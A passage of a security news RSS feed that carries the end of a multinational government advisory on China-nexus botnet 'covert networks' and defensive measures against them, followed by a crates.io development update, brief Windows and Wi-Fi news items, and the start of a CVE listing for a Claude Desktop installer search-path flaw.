<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Recovery: Microsoft veröffentlicht fünf neue WinRE-Updates]]></title>
<description><![CDATA[Microsoft hat frische dynamische Updates für unterschiedliche Windows-Versionen veröffentlicht. Die Aktualisierungen bringen Verbesserungen für die Windows-Wiederherstellungsumgebung WinRE und das Setup mit. (Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3693172/it-nachrichten/windows-recovery-microsoft-veroeffentlicht-fuenf-neue-winre-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693172/it-nachrichten/windows-recovery-microsoft-veroeffentlicht-fuenf-neue-winre-updates/</guid>
<pubDate>Sat, 25 Jul 2026 08:12:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,158188.html"><img hspace="5" border="0" align="left" alt="Windows 11, Microsoft Windows 11, 22h2, Windows 11 Update, Windows 11 22H2, Windows 11 22H2 Update" width="128" height="72" src="https://i.wfcdn.de/teaser/128/59097.png"></a>Microsoft hat frische dynamische Updates für unterschiedliche Windows-Versionen veröffentlicht. Die Aktualisierungen bringen Verbesserungen für die Windows-Wiederherstellungsumgebung WinRE und das Setup mit. (<a href="https://winfuture.de/news,158188.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[I fixed my home office's spotty Wi-Fi with Samsung's free diagnostic tool - and it took just minutes]]></title>
<description><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></description>
<link>https://tsecurity.de/de/3693068/it-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693068/it-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</guid>
<pubDate>Sat, 25 Jul 2026 05:53:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-22561 | Anthropic Claude Desktop up to 1.1.3362 on Windows Setup.exe uncontrolled search path]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Anthropic Claude Desktop up to 1.1.3362 on Windows. The impacted element is an unknown function in the library profapi.dll of the file Setup.exe. The manipulation results in uncontrolled search path.

This vulnerability was named CVE-2026-225...]]></description>
<link>https://tsecurity.de/de/3692888/sicherheitsluecken/cve-2026-22561-anthropic-claude-desktop-up-to-113362-on-windows-setupexe-uncontrolled-search-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692888/sicherheitsluecken/cve-2026-22561-anthropic-claude-desktop-up-to-113362-on-windows-setupexe-uncontrolled-search-path/</guid>
